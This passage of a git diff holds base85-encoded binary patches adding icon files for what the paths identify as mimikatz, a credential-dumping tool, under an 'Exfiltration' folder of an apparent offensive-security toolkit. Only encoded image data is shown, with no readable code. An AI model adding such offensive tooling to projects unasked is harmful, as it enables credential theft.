zZuwXleG2PMOsSWLWEptx5wlS2(Ty2YQ-B`!UDl3~bv)JA{i`I7UI(8|1eN*VQxB!0c_eGip`$XO{vqbckqXvBgceo3T(Q*f^I}6HahKQo-zLC7GbesHfs8MgdBDK zJ@b-UE_Avw|1IgFHq@xg$C#Vy8G|?Tm#)mO+E5QQ+!sd;GlZIsq=N=iGdv*E74`h6 ze^QIqb@7ERwKpvbU#yR6qlQK8*TbK==hR=?#U_i{IB{i|`qV4bUme!T8o2t>tF{xC z)NBmMTgp{O^Zj3XM|RJkE=Vn52X&8a)LZoeBn>lypne<}hwXb4W!k2so3Ei}ronYV zQ-24HyaHhu6iz*~?6G%lv6zjJ+6E!VzM6XLkpX zM;JBj{Tb9f~Xk zD(`~Vu`}>2Zll&&30LOS9H=MRB{DYZllIg!tQnU@R3^tnCU#LLD;>SX9M&o35F4>gv+5Mx~6%qG6=jbFc8QTcbNb$S)X$iAb)`=0nqG}v5*PM`ZR}AP(MwZy=?2a}d=JN{JLI0H7ToLDz_oBfs;K$h|PAdgAs&9Hcf9T-kx(nr>P{${IW-8 z1w7Kr;l_F5dZe6tMK-LM|KDGC0R_zeRE%85e(HDT91nY$gY=F*66X__CT64h_DwMx zRXnbo9PezN{0N6TZ!zCHh=`i=2rF-q^o5=0XFihU<o+5Oe7vWi8CPpJdydA{buCXW1FrVCqIJSwTQ-rf`!>gEsWo~dE z>pf7-+&2+ZdkT4+ccs0qGydrp*oc1tw>!@Kjkr=R|@dT@ey zxhc-2t4O;rCd->1WsY9@oW=a);pTqCH(X%;vy5%TNOia3zbPtK$ zfnndMTjJu$b8oA^>?f@M7w?Ff-+rk&c<0G<+xP>t+<1!Gq1(*2Jw$HbEo7g+!aVO7 zihHl(DBI>(_Z8-^ucLfm6sIQcKCQk!p;&uuLKMHH{@wne-(LUE-w{*)^efTJXSB=D zuWsvq_~c3N)VpY$c*Z>KeVn@S5Y6Ot`q~qmy7mq_Z#~258~1)U`1ECP{rGKBIeuN# zj{oiT_uP6SETNXznCD|SN%hJU;nA9C~sfHci~sqN#8!-2X~laA^!(KO?NBbeOG<1 zthUO0zPh%v{QhS@`Fru+&;C&iJorfHx&?lJG2h=bW$%ure4nF_Uh=5Z^Q~b>|M?F7 zuY<{+|E;im(|Y;+H=ce^+gX}$`_c|{3o7%DDJ%YfhamRn7f+qRTlJAN$-qn?dkjF?`iY7{gq#p{$IY+ zt%^F2tsXvK$nPJzJ0mVXy04qu)_qei{0NfThvCF$uATI{Y13<{OK+u~cQ~K_1L<+4 zPcgX@Mtk=DNq&Fw`3{lR(diL+X7KM!lFH~~DTOmNaijf5WZp%6?+E(S66uplzy>q6 z4gdeZIVt1k^83q2Z;GlbH}@oVUHxKL(HTCImdKtf&0;d?tD^6YUQ`D@lS$8pruz@k z)0cvP{HmYG@9&y?NA%o&N2l)k!z*6Z18|dkDQTr}qNiyW-!n`?(-2yG5@n+|=$Yw7 z@$hx-`E|dO-(Ng(QIuS|C~B@vL>=y$K`^~7{)NZkl~cp#fND4%qW>#8pKJ0ZoVs}z zIovaSGfVzXet+5Ms3;$~EK;XhR#uO_ka-1SPjvD*;w<-V>g3$Bed*J1I?QJYzHj+( z@Aiq$%$^N~H>a&`xEQiW&bGL|5R4 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico new file mode 100644 index 0000000000000000000000000000000000000000..7497143b370e05930ecbec4f39f719ebcb0df67a GIT binary patch literal 15086 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico new file mode 100644 index 0000000000000000000000000000000000000000..07df30ff8bd591f211e9634efcef12a1f1aeb8c5 GIT binary patch literal 1150 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 